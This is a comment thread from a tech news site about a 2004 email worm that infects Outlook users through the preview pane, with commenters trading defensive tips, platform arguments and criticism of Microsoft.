Many AV company's licensing scheme take both mail system users and desktops into account. Read the wording carefully because you may very well be able to use the end-user license to cover that user's part of the mail system....

Re:Mod Parent Down

[Alien54]

So you think you're smart because you know full well virus scanning and patches (release since last year) will solve this problem?? SHUT UP AND STOP TELLING EVERYONE THAT MICROSOFT PRODUCTS WORK, YOU CAPITALIST PIG!

Well, actually, I do well helping out joe sixpack with exactly this sort of thing. Not everyone is a programmer.

and you might be interested in these articles

Eric Raymond's rants: Part One
http://www.catb.org/~esr/writings/cups-horror.ht ml

Some follow-ups:
http://www.catb.org/~esr/writings/luxury-part-de ux.html

And mind you, I really don't like bill gates, either. So your criticism might be slightly off base. have a beer or take a pill, please

Outlook vulnerable with view as plain text?

[mattgreen]

Outlook and Outlook Express give you the option to view all messages as plain text, which strips the HTML out. Anyone know if that renders them safe to the content, or the content is still interpreted and executed?

A lot of organizations use Outlook in some form or another, so a quick fix like this one could be very beneficial -- if it is a fix.

another way, simpler to avoid it

[Anonymous Coward]

If you select more than one message, the program actually doesn't open them, you can then delete those message in block without ever activating the virus.

-click on your last legitimate email,
-bulk select by clicking on the most recent one using the appropriate modifier key (viruses are also on other platforms, except, maybe, osX which has luck, youth and good design on its side)
-unselect legitimate emails in the selection block using the appropriate modifier key
-use your menu command to send them to trash (draging with your mouse might slip and select if you are a sloppy clicker like me) or the appropriate folder (junk or anything)

Of course you have to know first which message contain the virus but if you are like me, you only open email from people you know bearing a subject line that is logical and/or precise. It's actually well regarded by people when you ask them to always write a subject line that contains keywords for you to know that they haven't been generated by a virus sending itself using the incredible Microsoft technologies, anything, usually some passphrase other than generic stuff like "I wanted to get back to you" or stuff like that.

For the people I don't know of yet but want to reach me legitimately I often go in my junk mail folder (created using simple rules) and look for legitimate subject line and sender address, anyone who has "funny" names and uses generic subject line simply is out of luck with me. Much like we tell kid not to open the door to strangers we shouldn't open anything that comes in the email box, even if the stranger is his uncle, if the kid doesn't know him he is well advised not to open the door, the uncle will understand and the parents will be proud.

Feeling left out.

[smellygeek]

Why do Windows users get all the good viruses? You people do know us Mac users are still alive, right?

Re:Well, its pretty easy actually.... and painful

[Ironica]

MS stuff was never really designed to be hooked to the internet.

Well, sometimes, it seems like it was *too* designed to be hooked to the internet... after all, aren't a lot of these worms based on exploits in code that is designed to allow remote access to your machine?

The answer is obvious.

[re-Verse]

It seems more and more questions are ending up having the same answer. Given that you have to select an E-mail to delete it, how are users supposed to protect themselves from this one?

What a stange question to be asked on Slashdot. I figure everyone else here but the poster know the answer. One hint. It starts with a moz and ends with a zilla and can be found at www.mozilla.org

Seriously - most of the questions end-users give me regarding their frustration with the internet are answered with that simple website. We do now have a choice of what we can use.... sooner or later we will have to just stop being suprised that anything starting with the word Outlook is a dangerous way to receive email, and abandon it for something safe.

No it is outlooks fault

[codepunk]

That piece of crapware is like playing russian roulette with all six chambers loaded. Name one other program on the internet that has caused more virus infections than outlook. If MS bundled the application with little to no security it sure seems to me both them and their software is at fault.

To start, block or strip this:

[azdio]

.bat .com .exe .lnk .pif .reg .scr .url .vb .vbs .vbe .zip
with your favorite milter

Patch was available on October

[gad_zuki!]

>c. Stop using Outlook/Outlook Express

I dont know why slashdot posted this particular fact-free article and with the "what are users supposed to do?" tagline.

The patch is six months old, people. This isn't some major zero-day exploit that is tearing the internet apart.

I use firefox/tbird on windows, but still, lets be sensible here. People can use the IE/OE combo without too much fear as long as they keep auto-update running.

Simple Solution

[WreckingCru]

I use a program called "ePrompter" which is basically a simple text-based mail checking solution for Windows. Helps you read your email quickly and "see" what attachment exists, without providing any sort of access to that attachment. So, I use it to check and read my mail (even reply) when there is no attachment. When there is an attachment (i.e. an email with an attachment that i'm expecting), I use Outlook (or any other email program) to retrieve that file. I highly recommend it. Very simple interface and very intuitive to use. Get it either from www.eprompter.com or download.com from Cnet. Pranav

Re:What do you do? What do you do?!

[Raffaello]

Their study specifically excluded email client and web browser vulnerabilities, the principal vectors of Windows viruses, worms and trojans. No wonder they found Windows to be "more secure" than Linux - their study left out most of the Windows security problems.

The firm doing the study are known bozos - they pretty much predicted armageddon on 1/1/2000, and still have much egg on their face from that. They also stretched the truth about their experience and expertise in the computer security field - they were doing something quite different for the first several years of the company's existence, but their press claims security expertise for the whole time.

An AC citing a "study" known to be flawed, designed to gain free press for the flawed company conducting it should not be trusted.

Even lesser-used apps

[0x0d0a]

Even if you don't switch to a client that's more secure, switching to one that's *less used* will work equally well. How many viruses are going to target, say, Pegasus Mail, even if it's riddled with overflows? Not a hell of a lot. I can understand interoperability issues with Word, Excel, etc, but this is *email*. All the clients out there work fine together, and it's not as if it takes long to learn an email client. The main concern in such a switch would be moving old stored email, and I would guess that any major Windows-based email client would provide Outlook import.

Email is also a good candidate for a piece of software to be written in eiffel or ocaml or some other safe language (Java might use too much memory, but there are safe languages that aren't as RAM-intensive). An email client does very little that's computationally expensive.

Groupware

[0x0d0a]

As far as I can tell, groupware (well, specifically meeting scheduling) is a waste of time. It just lets people drag more people into more meetings. ("Hey, John Smith doesn't have any meetings scheduled for today!" [right, John Smith is actually doing work today] "Let's add him to our meeting!")

It,s too bad..

[infiniphonic]

that virus WRITERS are not auto executing!!!

Devil's Advocate

[EventHorizon]

I love Linux and have used it since 1996, but I don't love half-truths. Mods, do what you must:

1. Unless you have a special 'l00s4h' account for running network programs, you can lose anything owned by your normal account. Typically that's all your data (norp, zeraw, 3PMs, financial data, etc). You're saying losing all that stuff is _better_ than losing the core OS, which you can replace over HTTP in 10 minutes?

2. Even with 'l00s4h', if your kernel has priviledge escalation bugs, bad guys can still get r00t. Linux had two of these in the past six months.

3. You've personally audited mutt for overflow issues? How about the 1GB mozilla codebase?

4. You trust Debian? Gentoo? GNU? Even though they don't always cryptographically sign binaries and even though their servers were 0wned a few weeks back?

5. apt-get, emerge, etc don't typically use SSL, so how do you know you aren't being man-in-the-middled when you run it (as root)?

Linux can be made more secure than d0ze--but don't delude yourself, or others.

Re:Devil's Advocate

[geggibus]

1. Backup.

2. Sad but true, but as always, keep your system updated. Enforce strong user passwords.

3. Hopefully enough people do.

4. I run Slackware and keep it updated with swaret. All packages are pgp-signed by Patrick Volkerding.

5. See point 4.

Linux can be made more secure than d0ze--but don't delude yourself, or others.

Good point...

-K

Re:Devil's Advocate

[jadel]

My day job is as a sysadmin, so I'll answer your questions from that perspective.

1. Unless you have a special 'l00s4h' account for running network programs, you can lose anything owned by your normal account. Typically that's all your data (norp, zeraw, 3PMs, financial data, etc). You're saying losing all that stuff is _better_ than losing the core OS, which you can replace over HTTP in 10 minutes?

No matter how secure your system is, backups are required. If it is really important or secure, users should have to sign in through another box via some secure, encrypted method first.

2. Even with 'l00s4h', if your kernel has priviledge escalation bugs, bad guys can still get r00t. Linux had two of these in the past six months.

The account is usually "nobody" or named after the process like "apache". You are correct - a remote unpriviledged exploit plus a priviledge escalation exploit equals a remote root exploit - but that still requires *two* unpatched exploits.

3. You've personally audited mutt for overflow issues? How about the 1GB mozilla codebase?

Correct, these programs cannot be trusted, ergo they should not be running on servers, client machines should be firewalled preventing connections from outside the intranet.

4. You trust Debian? Gentoo? GNU? Even though they don't always cryptographically sign binaries and even though their servers were 0wned a few weeks back?

All the source packages and RPM's we get come with MD5 sums. emerge and red-carpet both automatically check for a correct sum before installing. Any backdoors or virii that are contained in the packages would also exist when they were archived/created by the maintainers.

5. apt-get, emerge, etc don't typically use SSL, so how do you know you aren't being man-in-the-middled when you run it (as root)?

emerge downloads it's MD5 sums via the portage tree, completely independently of the source packages. once again the greatest vulnerability is in the human element. As long as you trust the maintainers, you can be *reasonably* sure that everything is OK.
An unpatched Linux box and an unpatched Windows server are both extremely vulnerable, but for me the bottom line is a single observation. We apply Linux patches as soon as they become available, both red-carpet and portage are entirely capable of resolving most dependency problems. Windows patches on the other hand usually get trialled for up to a week until we can ensure that we know all the programs that they break and have found all the required workarounds, unless it's a catastrophic vulnerability in which case we just roll it out and hope for the best.
In the end though there is no such thing as a perfectly secure system, all you can do is stack the deck in your favour, keep your eyes on the security lists and stay vigilant for unusual behaviour.

No Preview Pane Not Enough

[MykeBNY]

Turning off the preview pane isn't enough sometimes. Why take a chance that a message that looks like it might either be from a trusted contact, or a virus/spam?

In Outlook Express, you can right-click on a message, properties, and view the headers in the Details tab. If that's not enough info for you, hit the Message Source button and you'll be treated to a beautiful non-rendered view of the entire message, including any html code. If it's unreadable there, then you have got a virus, spam, or (even worse) an AOL user.

I'm too lazy to set up a filter, so I manually scan for spam like this.

Nothing New

[rixstep]

Given that you have to select an E-mail to delete it, how are users supposed to protect themselves from this one?

This is nothing new. Leigh Stivers of DP Technology, researching in the wake of ILOVEYOU from May 2000, demonstrated in the fall of that same year that anything goes with poor products like Microsoft Outlook.

This revelation, like ILOVEYOU and all that followed, did nothing to move the masses away from their bad habits. AnnaK followed, and after that things only got worse, and still we find people trying to batten down the hatches and still use Outlook and Swiss cheese Microsoft technology.

So how do you avoid threats like these new Bagles? Easy. You stop using Windows because you're supposed to be smarter than that at this point in time - after getting the shit kicked out of you for four years straight.

Second, if you're simply too lame to abandon your beloved Windows, then you at least abandon Outlook and all IE-related email technologies such as Eudora. Any email client relying on Internet Explorer is a sitting duck, and you know it.

I am not telling anyone anything they do not already know; even posing such a question - 'how in heavens will we protect ourselves now?' - is so lame it's beyond description.

The Bagles are hardly the worst threat right now anyway. Phatbot is out there, harvesting machines like they're going out of style, and coming ever closer to the first million mark. This is outright organised crime. The machines are left as backdoored P2P bots and can harvest bank account details, credit card details, passwords all over the place, and the corrupted machines can be used in further spam attacks - where the unwitting, claiming ignorance and helplessness, go ahead and click on things and use Windows and Outlook and then ask 'how can we protect ourselves?'

It's not interesting anymore. There's no point in trying to help those who categorically refuse to help themselves and take the necessary steps to be safe. The only concern, voiced for years now, is that these ignoramuses are ruining the Internet for the rest of us - and that is a very real and very justified concern.

.NET

[bonch]

It's called the .NET runtime, and when Longhorn comes out and EVERYTHING including Windows itself is running on .NET libraries, you're going to have some damn secure systems. What will Slashdotters find to bitch about next? There's always something--it's impossible to satisfy people around here. The friggin' sky is always falling.

Re:.NET

[Rick Zeman]

It's called the .NET runtime, and when Longhorn comes out and EVERYTHING including Windows itself is running on .NET libraries, you're going to have some damn secure systems. What will Slashdotters find to bitch about next? There's always something--it's impossible to satisfy people around here. The friggin' sky is always falling.

Color me cynical, but didn't MS tout the absolute security of W2k3? And Win2k before that? Sorry, with their record they're guilty until proven innocent.

Re:.NET

[agentofchange]

People will bitch about the fact that the .net CLR is so far abstracted that Windows now runs so slow its like using a crappy java app.

Try this, use the .net draw functions then compare that to the win API in pait.

For the fill function I'm counting 4 seconds for 320x240 and less than a second for the Win32API call.

Re:.NET

[Doctor Crumb]

Yeah right. The other day I saw a programmer write a .NET aspx page that provided a command shell, with full permissions on his computer. Very scary, especially since he just used a built-in library and no hacks. .NET is not going to suddenly make people write good code. Windows will continue to have exploitable holes for the foreseeable future.

In the meantime, I'm running clamAV, Amavis, and spamassassin on my mail servers and haven't been happier.

for the ultimate in virus protection...

[captivity]

this is why I check my email on other people's computers...

Four Years Old

[rixstep]

New Outlook Hole Found
http://radsoft.net/news/roundups/luv
May 8, 2000 0:00 AM UTC
This is getting ridiculous. An email appears in Outlook's inbox, and even before the user does anything, a message pops up on the screen. 'Had this been a real virus, you would not be happy', it reads. The relieved user clicks 'OK' and another box pops up.

'Deleting hard drive now... Just kidding!'

It was written by Leigh Stivers of DP Technology, who is trying to draw attention to a hole in Outlook that is far more dangerous than the ones ILOVEYOU found - this hole allows any email to be loaded invisibly with a destructive program that could go as far as deleting an entire hard drive.

Unlike viruses like ILOVEYOU or Melissa, these programs have no attachment and give no indication that they are anything other than ordinary email.

And with Outlook's factory defaults, this program - which might have been set to wipe your entire hard drive clean - can start running without you having to click a thing, before Outlook even tells you mail is there.

'The script can do almost anything', said Stivers. ''We were amazed to see how open everything was in house here, and we take security pretty seriously.'

You shouldn't have been amazed, Mr. Stivers. But thanks for the tip. We shall now visit the C|net link and read the article and within 30 minutes be running a better email client - for this writing on the wall is surely enough for even the lamest Outlook user?

http://news.com.com/2100-1001-240189.html

Use MailWasher

[Gary Destruction]

Mail Washer lets you preview your mail BEFORE you download it. And it automatically ignores images and shows paths of links. It also has heuristics to detect viruses.

Re:Complete lie

[WindBourne]

I guess you missed the study Slashdot itself posted that showed Linux was the most-breached OS. Incidentally, BSD was the least-breached.

I saw the study. It was done the British group Mi2, who is about as useful as IDC or Gartner, with their own vested interest. In almost every situation, the Linux openings were simple PHP's being hit on systems with multi domains rather than the systems being owned. Too be honest, I would love to see a company/group without a vested interest do a real study and report the numbers.

BTW, even though your BSD statement was a simple red herring, I suspect that it has merit.

VBA is useful

[Fred Ferrigno]

It's astonishing that you can do anything useful in it, let alone write a virus in it.

I spent a large part of my last job writing custom Excel applications in VBA. Most of them were for engineers who wanted an easy yet flexible way to input and summarize data. Excel provides an interface they're already familar with, and I provided a few bits of VBA code to make complicated tasks easy. Sure, I could have written a custom application for each task, but that would have been overkill, not to mention a waste of my time and my employer's money.

The virus writers started to piss me off when we switched to Office XP. XP automatically sets your macro security to maximum, and it became a big hassle to tell my users to lower their security. Anymore, they don't trust any macros, even from someone in the same company. (In anticipation of someone mentioning signed macros: setting up my cert on every computer is no easier than setting the macro security to medium.)

By strip all executables...

[rsilvergun]

...I think he meant strip out Outlook too :).

Re:By strip all executables...

[Firehawke]

I'd be inclined to call it LookOut, as in "LookOut below! Here comes another virus" but that's just me. It's funny, here at work there are three people who use Outlook. Two of them have been infected multiple times, the third has a clue and hasn't been hit even ONCE...

Re:Wow, AAAAAA loves to blame Outlook.

[Ragica]

"I've said it before, and I'll say it again: people need to start being responsible for THEMSELVES. It's not Outlook's fault that the user didn't patch their system."

Unfortunately it's simply someting approaching irresponsible of you to think that people are going to be "responsible" for themselves in this sort of situation. And you probably know it.

I just got an email forwarded from my own father in law asking me if this trick someone forwarded him will work. The email encourages everyone to create an "AAAAA@AAAAAA.AAA" entry in their outlook address book: they go on to explain that the worms will try this first and when it fails they will quit.

By the extreme number of angle brackets on the left side of this forwarded message... i'd say there's a lot of people with AAAAAA@AAAAAA.AAA in their outlook address book at this moment.

I think you are asking too much of these people to have them actually understand about patching, updates (btw, my father in law dials up via a not-too-fast modem... and lives somewhat out int he country), HTML exploits, etc etc.

Re:Check's in the mail. -Bill

[DroopyStonx]

I'm not saying it's 100% entirely their fault, but these worms spread because of SIMPLE factors like not patching the system, leaving settings turned on that really shouldn't be on, etc (and yes, that is more MS's fault than the end user's fault).

I get what you're saying in your analogy, but we're talking software here. It's not unreasonable to expect someone to get an update for a program if one is available. That's what it's there for.

If you buy a car, you expect it to be working properly. If it's not, there's a recall. Can't exactly download a patch for your tires. However, it IS your responsibility to drive it properly and to maintain it.

Yes, it is Microsoft's fault for making OE such an open and vulnerable piece of softare, but again, a patch WAS released for this worm MONTHS ago. It would be quite different if this was an exploit that just snuck up on most people out of the blue, but it's not, and these are the cases I'm referring to.

Even Code Red/SQL Slammer. Sorry, but if you got hit by this, it's not MS's fault, but your own since you or your sysadmin didn't apply the patches that came out 3 months prior.

Plugging your system in and expecting it to work perfectly from now till the end of time is extremely naive. I don't care how experienced of a computer user you are, you need to know the potential dangers of being online before you even connect.

Simple rules for avoidance

[dtfinch]

If you refuse to use a mail client besides Outlook Express:
1) Disable the preview pane. View messages by double clicking them. That way you're never forced to view a message you haven't made the decision to view, either by trying to delete it or by it being the top message in your inbox. This also helps to reduce spam, because spams with linked images can be used to verify that you read the email.
2) Only view email you trust. For the rest, view the message source or ignore the message.
3) The above will stop 99% or more of email viruses out there. To further reduce the risk, patching frequently and using a spam filter helps. Virus scanners like AVG also help but you can expect a noticeable slowdown in system response if you use one. I don't. No virus problems ever in 12 years.

stop using Outlook

[msblack]

. . .reporting that the latest versions of the Beagle/Bagle virus can infect users' computers whether or not they open an attachment.

Aparently they've never heard of e-mail software other than Outlook. Many e-mail programs do not execute the VBS code or other attachments of a message simply by selecting it from the Inbox.

Re:MacDailyNews?

[dbirchall]

Huge numbers of Macintosh users run Microsoft products (MSIE, Office v.X, Virtual PC, etc.). Some of us even run Windows under Virtual PC, and need to keep our Windows instances up to date security-wise. Last time I ran Windows Update on the Windows XP instance I have on my iBook, it came back with something like 35 things it needed to download. And I'm sure the same folks who let us know that a vulnerability doesn't affect our Macs would let us know if one did, too.

Wine compatibility?

[ChiralSoftware]

Does anyone have some tips for running these under Wine? I know that I can install Outlook XP under Crossover, with full support in Crossover 3.0 which is coming out soon, but I'm not sure if it supports these viruses yet. I know that Wine supports Sircam, but unfortunately there isn't a virus section in the appdb yet. I think the Wine devs don't get it. We run Wine for the full "MS Windows Experience", not just the software.

Re:Complete lie

[geekoid]

did you read the study and what they where calling 'breached'?

It was incredible.
I don't care what OS they where testing, there test proved only one of two thing:
1) they're catering to who paid them
or
2) they have no clue.

Besides, the poster staement was about Apache, not Linux.

Duh... how do i avoid viruses?

[Anonymous Coward]

This must be the dumbest story ever posted. If you run Outlook or Outlook Express on a Windows machine, you are gambling, and one day you will lose. People are such fucking slow learners.

Re:Duh... how do i avoid viruses?

[Felinoid]

The sad thing is the parent is both a troll and insightful.

The Unix experts have been saying for decades now that using a secure operating system will protect you from viruses.
The anti-virus industry would have you believe Unix was never populare enough to make this possable. WHAT A LOAD OF BS.

Unix was THE operating system for mainframes in the 1970's and 80's.
So they adjust the excuse "Oh well virus writers are only after desktops"... Wrong again.

First what is a virus?
According to The Dirty Dozen it is "The Ultimate Trojan Horse".
What do hackers do with trojens?
According to the book "Outside the Inner Circle" (By Microsoft press) trojens are used by hackers to gain more access to the servers they already have low level access on.

But to use the trojen you need to hack into the system to start with. Wouldn't it be great if you could trick a system admin (or better yet user) to install the trojen for you?
Thats what a virus is. That is what it's for. Every script kiddies wet dream has been for the last 2 decades a Unix virus.
And we don't have a Unix virus yet becouse the virus writers don't have any motivation to write one? Bull.

Outlook is just one example of just how sloppy Microsoft really is when it comes to software design.
Download and install ANY other e-mail client and you won't need to fear e-mail viruses. That's easy enough isn't it? You don't even need to install a new OS just use a better e-mail client.

Re:Duh... how do i avoid viruses?

[walt-sjc]

Email worms that specifically target Outlook / IE and its variants have been around for years now. Everyone keeps thinking that the latest malware will finally convince management that MS email products are just not worth it - the last straw. What they fail to realize is exactly how thick people can be. A company can lose millions of dollars each time they get hit and it STILL doesn't seem to make a difference. They blame the virus writters, their IT department, the phase of the moon, ANYTHING but MS or themselves for using software that they KNOW is problematic. They keep thinking that the latest patchs will solve the issue once and for all or that the "groupware" features are worth all this pain (they are not.)

Frankly, I'm very tired of all the whining from MS users. There is a solution to your problem. You have been told hundreds of times what the solution is. If you refuse to listen, there is nothing I or anyone else can do to help you. If you continue to use MS email products, you WILL get hit again, and again, and again. Are you waiting for malware that formats your hard drive? Maybe one that subtly changes all your documents / spreadsheets? How about another one that spreads your confidential data to your competitors...

While I won't miss the whining, I will miss the humor aspect or watching people wring their hands, run around with their heads cut off, pontificating security "experts", etc.

Re:Patch their damn systems, that's how

[Bull999999]

The problem is with the mindset of most endusers.

I've enabled automatic updates friends' and co-workers' computers and they still don't go through installing patches even with ballon reminders. And MS does not even have automatice update for Office products.

Outlook problem...

[Mr Europe]

Apparently, the simple act of selecting the message activates the code.

Apparently that feature is in the Outlook and IE combination only, based on their bugs.

We Mozilla users wonder why anyone uses those anymore.

Easy

[CGP314]

Given that you have to select an E-mail to delete it, how are users supposed to protect themselves from this one?

Easy, I'll just select and delete it really fast.


-Colin

Preview Pane

[Jace of Fuse!]

Given that you have to select an E-mail to delete it, how are users supposed to protect themselves from this one?

Disable the Preview Pane (Pain).

It's a stupid feature anyway, it's unsafe by design, and the last thing on earth I want is my computer opening my e-mails without my input.

This is OLD news. The Preview Pane shouldn't even exist until Microsoft can find some way to totally secure it, which probably won't ever happen as long as harmfull tricks can be planted in e-mail.

I've NEVER used the Preview Pane, and I don't miss it one bit. Maybe more so called "computer experts" should stop carrying stupid misconceptions and actually learn the truth behind the stupid ideas they so firmly hold onto.

Re:Preview Pane

[BenjyD]

What? In what kind of fucked-up world should the user have to disable previewing a plain-text message? Displaying a bunch of ASCII should not be something the user has to think about the security implications of.

Re:Preview Pane

[Anonymous Coward]

Disabling the preview pane is only treating the symptom. Displaying a message should *never* cause code to be executed in the first place. The root of the problem is email client design. If the client (specifically, Microsoft's) wasn't so badly designed, there would be no threat from previewing emails.

Solution

[Idaho]

Given that you have to select an E-mail to delete it, how are users supposed to protect themselves from this one?

From best solution to workaround:

1. Don't use a Microsoft E-mail client
2. Use a virus-scanner that catches it before it is opened
3. You do not *have* to view an e-mail in order te delete it, if you close the preview pane you can delete it without viewing (even in Outlook Express). This is not exactly what I'd call convenient, though.

Block tcp on port 81

[advocate_one]

breaks the vector and the virus can't pull it's payload in.

Disallow connections to TCP port 81 through your network firewall. Blocking outbound port 81 connections stops computers on your network from downloading the worm from outside. Blocking inbound port 81 connections means that even if you do get infected you will not pass the virus on to others.

too poor to build a second box... nonsense

[jotaeleemeese]

Try Knopix or any other of the several live CD distributions.

Stop the excuses, you can try Linux today.

The answer is very simple...

[tiger99]

Get rid of Outlook and its perverted cut-down relation, Outlook Express. They are not necessary. A lot of people use them because their ISP says so, but email is controlled by open protocols which are nothing whatsoever to do with M$, and any email client will work.

It is amazing how the Convicted Monopolist has managed to make a near-monopoly of the email client, and how people are so easily fooled into using such dangerous, insecure, bug-ridden trash. It does not even have a particularly good user interface.

The answer is in your hands!

Note to Sir Bill: You can't fool all of the people all of the time.... The end of your illegal monopolistic reign will come shortly, when your shareholders rebel, after the European judgment causes a collapse in the share price. And don't bother trying to get a job in software anywhere, your incompetence is not wanted anywhere.

Easy...

[The Spoonman]

Get better admins so the infected mails never reach the users' inboxes. Relying on users to protect the company from viruses is like letting them administer the firewall.

Bah

[JMZero]

Almost all of the viruses from the last few years have been "open attachment to get infected" types. That this one isn't that way is fairly big news.

The Preview will execute the code contained within the mail message in exactly the same way as if you had opened it. It has been this way for a few years

What does that even mean? Execute the code? Do you mean "render the HTML"? Outlook Express doesn't execute script in the preview window or the "opened message" window. I'm guessing this new virus either forces script to execute via some exploit, performs an exploit in general HTML rendering, or performs some exploit against ActiveX. The important distinction here has never been between "previewing the e-mail" and "opening the e-mail", it's been between "looking at the e-mail" and "opening the attachments".

Microsoft Products

[JoshLipschitz]

They make a good product, but just because they are the current market leader, makes them a big target. The problem is not Microsoft, it is the loose nut behind the keyboard, in laymans terms, the user. We have worked to train our users to be cautious of opening any e-mails, even from people they know. I have even done the impossible, trained my family. If we all work to training the users on how to pick out the trash or actually filter the mail, the problem will be fixed. If you have a good virus scanner such as Norton or Trend, it will help as well. We are never going to stop these variants, so the best we can do is train our people and use every tool we have to prevent them from being able to get through 99.9% of the time. Anything that gets through should be caught by your virus scanner if you have it up to date and set on a high enough setting. Josh